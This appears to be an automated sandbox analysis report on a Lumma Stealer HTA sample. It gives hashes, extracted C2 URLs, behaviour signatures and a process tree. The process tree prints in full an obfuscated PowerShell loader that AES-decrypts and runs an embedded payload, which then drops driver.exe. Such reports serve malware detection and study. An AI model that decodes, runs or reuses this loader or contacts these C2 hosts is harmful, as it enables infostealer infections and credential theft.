Analysis

  • max time kernel
    125s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-02-2024 05:12

General

  • Target

    302ec5af12ccc15b5771b3ed2b951ddc708f757c2103a1d6e71790f03902025e.hta

  • Size

    73KB

  • MD5

    d5f4e13e7b8a0d81a36b2788271894b8

  • SHA1

    df4b3c0c6acad446b1df50bdba61fc22313748be

  • SHA256

    302ec5af12ccc15b5771b3ed2b951ddc708f757c2103a1d6e71790f03902025e

  • SHA512

    bda4a2852259873eef6fda79f1e122fda3a04f8e3cf3ca611134901af555ada10d783d86ffd8723c4f75af158a64626fb78bb7cbbf5a53a8ceaf9326a5da3f81

  • SSDEEP

    768:ESE2T0mcfIRTUI9XTV4jnl20LgGVO+/unhi1zOz:3E2T3cy79XTVmnI0kG8ti5Oz

Malware Config

Extracted

Family

lumma

C2

https://executivebrakeji.shop/api

https://technologyenterdo.shop/api

https://detectordiscusser.shop/api

https://turkeyunlikelyofw.shop/api

https://associationokeo.shop/api

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\302ec5af12ccc15b5771b3ed2b951ddc708f757c2103a1d6e71790f03902025e.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $xRnrtl = 'AAAAAAAAAAAAAAAAAAAAAD0Af5kmiW2Hnx1ert6ZiHkcrCG5xRw5g+RXkvjSvgaUbk+srbVrOsQgn8toO+hu0Qw1KQj7FAk5xMoqfeLJjMEeamlWrF3FTQ6in6FDMU0esWs41x91rJ/vkrJQOkHUMM2MmLD03n+lBrw2YeIcINOqvu4GIVPjd+Fis/QpUW5Fj8iNCDQy7bTeb/cl1K0KC1ocqAlvj83iKlmuvdzxPum6cIQxLt+2YLh6fmAQocUETi+pQw294/BrcWHiPbCLQ3IVN1QFO/QcDcgmCGGhLZSmlSKvXWS4pkFTnsaeCv0q8qpFQPIbBpzGkWGBKxMJYhQh81lXHyPxeOeFyFq6jqW2vUm+uqMCwX1N5g5UHXYw3Qg4zpyOCq0I5EwoDqzACg0FQ7NLbZAuwhTLK+Yu1JUpq7a86i+FRnVjkA9yOJMjUROJtiOoDNfMdo0ej8BzSKoid4bytekfnZGfb1xfEAyrNCki102wWcJK/vZZFJJQ0EWOmR4qPclxZ3kj3QXa7iwBBn/xEMGg8xE8RDWaHfXHZqdxlpnoKmQX6CchYBPK5Q/alHBAM5gOIN5RcmnQecgz+itBcGKRKac4QUIuYCsTNOGFGvc0/93UPNG9W8OrCD+b24Y2bZP/KolyWolNdjJRHwp4RJAA9iJshbpdMe4n95z2TmNVPEVN28sDZ0kfiJCKpkbu1TkpQNSnY46SLTiZTT3ajO8Sox/hCnztghhj4DMhfQfHJBcMyZ1yynlBM+7lNgUyvioQxQ2KPY7KDi7JTpk1iQYGc+oBvO/fWUMtz9kzyEyxJpOGkwI3MMjDpUYIc9iprfEHj8hpwVdPjhcenIyhZqn28939MlitHffq24shDMzCPgjnU9OWPsMhEKvfu34pU/yjbMkwLHEjcQ==';$PWFaA = 'd0hDTktlemN0SlFHRXFla0Rjb094cnRoUGlSR050VmI=';$rtbrSxS = New-Object 'System.Security.Cryptography.AesManaged';$rtbrSxS.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rtbrSxS.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rtbrSxS.BlockSize = 128;$rtbrSxS.KeySize = 256;$rtbrSxS.Key = [System.Convert]::FromBase64String($PWFaA);$jIXAy = [System.Convert]::FromBase64String($xRnrtl);$rSpXWojt = $jIXAy[0..15];$rtbrSxS.IV = $rSpXWojt;$mXooDLjjw = $rtbrSxS.CreateDecryptor();$KHnzkbgXQ = $mXooDLjjw.TransformFinalBlock($jIXAy, 16, $jIXAy.Length - 16);$rtbrSxS.Dispose();$iIauy = New-Object System.IO.MemoryStream( , $KHnzkbgXQ );$Izyrh = New-Object System.IO.MemoryStream;$thcRRYmqg = New-Object System.IO.Compression.GzipStream $iIauy, ([IO.Compression.CompressionMode]::Decompress);$thcRRYmqg.CopyTo( $Izyrh );$thcRRYmqg.Close();$iIauy.Close();[byte[]] $QWoIKfh = $Izyrh.ToArray();$KKSHrJAF = [System.Text.Encoding]::UTF8.GetString($QWoIKfh);$KKSHrJAF | powershell -
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
        3⤵
        • UAC bypass
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Users\Admin\AppData\Roaming\driver.exe
          "C:\Users\Admin\AppData\Roaming\driver.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
              PID:2132
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:3132
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
      1⤵
      • Checks processor information in registry
      • Modifies registry class
      PID:3316
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4048 --field-trial-handle=2972,i,4036376905309803364,5412922217215781933,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:2840

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgvmiu2h.r1m.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\driver.exe

        Filesize

        297KB

        MD5

        79ac171749690f2c947187e34d2b007d

        SHA1

        ebe8d99c87b7b6b51af10a1260271f7282c8f8d2

        SHA256

        cdb5f26a44a64a81c8e96db60ba2f4471f88b3980d14f91d3247a0afde34d441

        SHA512

        c93009d5e20a8ac008e409ad677674aeacc383f0716904825847330ad12ea7347d706754f9c8724e69c0261f2edcb36a41e40f851014e51021b1bccbf7a15f54

      • memory/1152-55-0x0000000007240000-0x000000000725E000-memory.dmp

        Filesize

        120KB

      • memory/1152-56-0x00000000072A0000-0x0000000007343000-memory.dmp

        Filesize

        652KB

      • memory/1152-62-0x0000000007430000-0x0000000007438000-memory.dmp

        Filesize

        32KB

      • memory/1152-61-0x0000000007440000-0x000000000745A000-memory.dmp

        Filesize

        104KB

      • memory/1152-37-0x00000000060E0000-0x0000000006124000-memory.dmp

        Filesize

        272KB

      • memory/1152-60-0x0000000007400000-0x0000000007414000-memory.dmp

        Filesize

        80KB

      • memory/1152-59-0x00000000073E0000-0x00000000073EE000-memory.dmp

        Filesize

        56KB

      • memory/1152-38-0x0000000006E70000-0x0000000006EE6000-memory.dmp

        Filesize

        472KB

      • memory/1152-58-0x00000000073B0000-0x00000000073C1000-memory.dmp

        Filesize

        68KB

      • memory/1152-39-0x0000000004830000-0x0000000004840000-memory.dmp

        Filesize

        64KB

      • memory/1152-57-0x00000000073A0000-0x00000000073AA000-memory.dmp

        Filesize

        40KB

      • memory/1152-42-0x00000000081A0000-0x0000000008744000-memory.dmp

        Filesize

        5.6MB

      • memory/1152-75-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/1152-25-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/1152-26-0x0000000004830000-0x0000000004840000-memory.dmp

        Filesize

        64KB

      • memory/1152-27-0x0000000004830000-0x0000000004840000-memory.dmp

        Filesize

        64KB

      • memory/1152-45-0x0000000070810000-0x000000007085C000-memory.dmp

        Filesize

        304KB

      • memory/1152-44-0x0000000007260000-0x0000000007292000-memory.dmp

        Filesize

        200KB

      • memory/1152-43-0x000000007FDD0000-0x000000007FDE0000-memory.dmp

        Filesize

        64KB

      • memory/1152-40-0x0000000007110000-0x00000000071A6000-memory.dmp

        Filesize

        600KB

      • memory/1152-41-0x0000000007030000-0x0000000007052000-memory.dmp

        Filesize

        136KB

      • memory/1244-90-0x00000000029B0000-0x00000000049B0000-memory.dmp

        Filesize

        32.0MB

      • memory/1244-76-0x0000000000720000-0x0000000000770000-memory.dmp

        Filesize

        320KB

      • memory/1244-80-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/1244-89-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/1244-97-0x00000000029B0000-0x00000000049B0000-memory.dmp

        Filesize

        32.0MB

      • memory/2132-88-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/2132-96-0x0000000000EB0000-0x0000000000EE2000-memory.dmp

        Filesize

        200KB

      • memory/2132-92-0x0000000000EB0000-0x0000000000EE2000-memory.dmp

        Filesize

        200KB

      • memory/2132-83-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/2132-95-0x0000000000EB0000-0x0000000000EE2000-memory.dmp

        Filesize

        200KB

      • memory/2132-91-0x0000000000400000-0x0000000000449000-memory.dmp

        Filesize

        292KB

      • memory/2132-93-0x0000000000EB0000-0x0000000000EE2000-memory.dmp

        Filesize

        200KB

      • memory/2132-94-0x0000000000EB0000-0x0000000000EE2000-memory.dmp

        Filesize

        200KB

      • memory/3172-23-0x0000000007FD0000-0x000000000864A000-memory.dmp

        Filesize

        6.5MB

      • memory/3172-24-0x0000000006BA0000-0x0000000006BBA000-memory.dmp

        Filesize

        104KB

      • memory/3172-77-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/3172-2-0x00000000032C0000-0x00000000032F6000-memory.dmp

        Filesize

        216KB

      • memory/3172-81-0x00000000054F0000-0x0000000005500000-memory.dmp

        Filesize

        64KB

      • memory/3172-22-0x00000000054F0000-0x0000000005500000-memory.dmp

        Filesize

        64KB

      • memory/3172-86-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB

      • memory/3172-21-0x00000000066E0000-0x000000000672C000-memory.dmp

        Filesize

        304KB

      • memory/3172-20-0x00000000066A0000-0x00000000066BE000-memory.dmp

        Filesize

        120KB

      • memory/3172-19-0x0000000006260000-0x00000000065B4000-memory.dmp

        Filesize

        3.3MB

      • memory/3172-9-0x0000000005A30000-0x0000000005A96000-memory.dmp

        Filesize

        408KB

      • memory/3172-8-0x0000000005950000-0x00000000059B6000-memory.dmp

        Filesize

        408KB

      • memory/3172-7-0x00000000057F0000-0x0000000005812000-memory.dmp

        Filesize

        136KB

      • memory/3172-6-0x0000000005B30000-0x0000000006158000-memory.dmp

        Filesize

        6.2MB

      • memory/3172-5-0x00000000054F0000-0x0000000005500000-memory.dmp

        Filesize

        64KB

      • memory/3172-4-0x00000000054F0000-0x0000000005500000-memory.dmp

        Filesize

        64KB

      • memory/3172-3-0x00000000742D0000-0x0000000074A80000-memory.dmp

        Filesize

        7.7MB